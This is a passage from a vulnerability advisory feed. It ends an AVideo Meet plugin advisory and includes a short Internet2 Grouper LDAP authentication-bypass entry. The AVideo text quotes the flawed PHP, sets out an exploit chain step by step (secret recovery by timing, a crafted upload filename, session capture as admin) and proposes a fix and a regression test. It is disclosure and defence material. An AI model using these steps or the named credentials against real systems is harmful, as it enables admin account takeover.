uniqid();\n\nif (move_uploaded_file($_FILES[\u0027upl\u0027][\u0027tmp_name\u0027], $tmpFile)) {\n $_FILES[\u0027upl\u0027][\u0027tmp_name\u0027] = $tmpFile;\n require $global[\u0027systemRootPath\u0027] . \u0027objects/aVideoQueueEncoder.json.php\u0027;\n}\n```\n\n**File:** `objects/user.php`, lines 1249-1329 (`User::login()` no-password branch).\n\n```php\npublic function login($noPass = false, $encodedPass = false, $ignoreEmailVerification = false)\n{\n // ...\n if ($noPass) {\n $user = $this-\u003efind($this-\u003euser, false, true); // \u003c-- no password check\n }\n // ...\n } elseif ($user) {\n $_SESSION[\u0027user\u0027] = $user; // \u003c-- session set for the impersonated user\n $this-\u003esetLastLogin($_SESSION[\u0027user\u0027][\u0027id\u0027]);\n // ...\n self::setUserCookie($rememberme, $user[\u0027id\u0027], $user[\u0027user\u0027], $passhash, $expires);\n AVideoPlugin::onUserSignIn($_SESSION[\u0027user\u0027][\u0027id\u0027]);\n $_SESSION[\u0027loginAttempts\u0027] = 0;\n _session_regenerate_id(); // \u003c-- new SID committed in Set-Cookie response\n _session_write_close();\n return self::USER_LOGGED;\n }\n}\n```\n\n**Why it\u0027s wrong:** the endpoint conflates two distinct authentication concerns. The shared-secret check answers \"is this request coming from a trusted Meet recorder?\" but the filename parse answers \"which user does this recording belong to?\" \u2014 and the second answer is taken from the same untrusted caller. Once `User-\u003elogin(true, true)` runs, the server has no way to distinguish a legitimate Meet integration from an attacker who happens to know the same secret. The decision to expose this as a session (cookie + `_session_regenerate_id`) rather than as a one-shot in-process credit makes the impact larger than it needs to be: even if the Meet integration only needed to *credit* the recording to a user, the implementation gives the caller a fully-authenticated session as that user.\n\n## Exploit Chain\n\n1. Attacker obtains the Meet shared secret. Two plausible paths:\n - **Path A** (computational): the secret is `md5($global[\u0027systemRootPath\u0027] . $global[\u0027salt\u0027] . \"meet\")` (`plugin/Meet/Meet.php:73`). Both inputs sit in `videos/configuration.php`. AVideo\u0027s history of LFI/path-traversal CVEs in this surface (e.g., the `import.json.php` and `listFiles.json.php` advisories already accepted on this program) means the salt is a realistic disclosure target.\n - **Path B** (timing oracle): `plugin/Meet/checkToken.json.php` line 26 does `if ($objM-\u003esecret === $_GET[\u0027secret\u0027])` with no constant-time comparison and a clear yes/no response body. PHP\u0027s `===` for strings short-circuits on first byte mismatch, so an attacker on the same network segment can recover the 32-hex secret byte-by-byte over the network with timing analysis. Slower than path A but doesn\u0027t depend on a separate vulnerability.\n2. Attacker prepares an HTTP POST to `/plugin/Meet/uploadRecordedVideo.json.php`:\n - `Authorization: Bearer \u003cMeet secret\u003e`\n - Multipart body with one file field named `upl`. The filename is set to `1-anything.mp4` (where `1` is the `users_id` of the admin or any target user \u2014 the format is `\u003cusers_id\u003e-\u003carbitrary\u003e`). The file body itself can be anything that survives the surrounding aVideoQueueEncoder pipeline (an empty file is enough to reach the login call before the encoder rejects).\n3. Server flow:\n - Line 33: token present, ok.\n - Line 46: `$objM-\u003esecret != $token` \u2192 false (matches), passes.\n - Line 51: `$_FILES[\u0027upl\u0027]` present, ok.\n - Line 56: `$users_id = explode(\u0027-\u0027, \u00271-anything.mp4\u0027)[0]` \u2192 `\u00271\u0027`.\n - Line 59-60: `$userObject = new User(1); $userObject-\u003elogin(true, true);` \u2014 passwordless login as user 1 (admin). `$_SESSION[\u0027user\u0027]` is set, `setUserCookie` runs, `_session_regenerate_id` issues a new session ID, and the response carries `Set-Cookie: PHPSESSID=\u003cnew-sid\u003e; ...`.\n - Subsequent code runs the encoder pipeline as admin \u2014 but the attacker\u0027s primary goal was already achieved when the session was established.\n4. Attacker captures the `Set-Cookie: PHPSESSID=...` header from the response and uses that cookie on all subsequent requests. Server treats them as user 1 (admin) \u2014 full UI access, all admin endpoints, all video management, plugin configuration, user impersonation, etc.\n5. Final state: admin account takeover. The original Meet recorder\u0027s flow (legitimate uploads with `users_id` = the user who scheduled the meeting) is indistinguishable on the wire from the attack flow (`users_id` = whoever the attacker wants to be).\n\n## Security Impact\n\n**Severity:** sec-high. End state is full account takeover of any user (including admin), reachable from a single HTTP POST once the secret is known. The shared-secret precondition raises AC to High but does not eliminate it as a credible threat \u2014 the secret is computable from any leak of `videos/configuration.php`, and AVideo\u0027s CVE history in that surface area is non-trivial.\n**Attacker capability:** session hijack as any `users_id` the attacker cares to name. The attacker chooses the target by setting the filename\u0027s leading digits before the first `-`. No bound on which user IDs are reachable; admin (`1` on a default install) is the obvious target. Once the session is captured, the attacker has full admin UI/API access for the session lifetime (hours-to-days depending on `rememberme` flag).\n**Preconditions:** Meet plugin enabled (default-off but commonly enabled by deployments using AVideo for video-conferencing recording). Knowledge of the Meet shared secret (computable from the salt; obtainable via timing attack on `checkToken.json.php`).\n**Differential:** source-inspection-verified end-to-end. The two relevant code blocks are quoted verbatim in \u00a7Affected Code; both lines are reachable on every successful POST to the endpoint. The patched build (with the suggested fix below) either rejects the upload as `\u0027cannot derive identity from filename\u0027` or constrains the `users_id` to one bound by an additional signed claim from the Meet recorder.\n\n## Suggested Fix\n\nThree changes, in order of importance:\n\n```diff\n--- a/plugin/Meet/uploadRecordedVideo.json.php\n+++ b/plugin/Meet/uploadRecordedVideo.json.php\n@@ -53,17 +53,28 @@ if (empty($_FILES[\u0027upl\u0027])) {\n forbiddenPage(\u0027videoFile not found\u0027);\n }\n\n-$users_id = explode(\u0027-\u0027, $_FILES[\u0027upl\u0027][\u0027name\u0027])[0];\n+// The users_id MUST come from a signed claim (e.g., a JWT issued by AVideo\n+// when the meeting was scheduled), not from a filename the caller controls.\n+// Verify a recording-upload token here that was minted at meeting-create\n+// time and bound to (meet_schedule_id, users_id) with an HMAC.\n+$claim = MeetUploadClaim::verifyFromHeaders($headers);\n+if (!$claim) {\n+ forbiddenPage(\u0027Missing or invalid recording upload claim\u0027);\n+}\n+$users_id = (int) $claim-\u003eusers_id;\n+if (!$users_id || !User::idExists($users_id)) {\n+ forbiddenPage(\u0027Recording upload claim references unknown user\u0027);\n+}\n\n-$userObject = new User($users_id);\n-$userObject-\u003elogin(true, true);\n+// Credit the upload to $users_id WITHOUT establishing a session. The encoder\n+// pipeline can be parameterised to record ownership directly; there is no\n+// reason for a service-to-service upload endpoint to mint a user session.\n+$queueOwnerUsersId = $users_id;\n $tmpFile = getTmpDir() . uniqid();\n\n if (move_uploaded_file($_FILES[\u0027upl\u0027][\u0027tmp_name\u0027], $tmpFile)) {\n $_FILES[\u0027upl\u0027][\u0027tmp_name\u0027] = $tmpFile;\n- require $global[\u0027systemRootPath\u0027] . \u0027objects/aVideoQueueEncoder.json.php\u0027;\n+ aVideoQueueEncoder::encodeOnBehalfOf($queueOwnerUsersId, $_FILES[\u0027upl\u0027]);\n }\n```\n\nAdditionally:\n\n1. **Use `hash_equals` for the secret comparison** in both this endpoint and `checkToken.json.php` (`if (!hash_equals($objM-\u003esecret, $token))`). The current `==`/`===` is vulnerable to byte-by-byte timing analysis.\n2. **Remove `checkToken.json.php` entirely**, or at least gate it behind `User::isAdmin()`. A network-reachable endpoint that confirms whether a guess matches the server-side secret is exactly the wrong shape for a high-value secret like this one.\n\nOptional defense-in-depth (separate change): rotate the Meet secret to use a random 256-bit value (not derived from `salt`), so a `videos/configuration.php` disclosure does not also yield the Meet secret. Store the random secret as a per-deployment row in the Meet plugin\u0027s configuration table, generated at first-run.\n\nAdd a regression test: call `uploadRecordedVideo.json.php` with the correct secret but a filename of `1-x.mp4`; assert the response does NOT include a `Set-Cookie: PHPSESSID=` header.",
"id": "GHSA-qxvm-r42f-5p8j",
"modified": "2026-05-15T18:17:19Z",
"published": "2026-05-15T18:17:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-qxvm-r42f-5p8j"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "AVideo\u0027s Meet plugin: `uploadRecordedVideo.json.php` derives `users_id` from the uploaded filename and calls passwordless `User-\u003elogin()`, allowing any caller with the Meet shared secret to obtain a session as arbitrary users including admin"
}
GHSA-R52C-MH2P-JMPJ
Vulnerability from github – Published: 2024-06-30 00:31 – Updated: 2024-07-03 18:47Internet2 Grouper before 5.6 allows authentication bypass when LDAP authentication is used in certain ways. This is related to internet2.middleware.grouper.ws.security.WsGrouperLdapAuthentication and the use of the UyY29r password for the M3vwHr account. This also affects "Grouper for Web Services" before 4.13.1.
{
"affected": [],
"aliases": [
"CVE-2024-39848"
],
"database_specific": {
"cwe_ids": [
"CWE-1390"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-29T22:15:02Z",
"severity": "CRITICAL"
},
"details": "Internet2 Grouper before 5.6 allows authentication bypass when LDAP authentication is used in certain ways. This is related to internet2.middleware.grouper.ws.security.WsGrouperLdapAuthentication and the use of the UyY29r password for the M3vwHr account. This also affects \"Grouper for Web Services\" before 4.13.1.",
"id": "GHSA-r52c-mh2p-jmpj",
"modified": "2024-07-03T18:47:25Z",
"published": "2024-06-30T00:31:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39848"
},
{
"type": "WEB",
"url": "https://spaces.at.internet2.edu/display/Grouper/Grouper+bug+-+GRP-5515+-+web+services+LDAP+authentication+security+vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.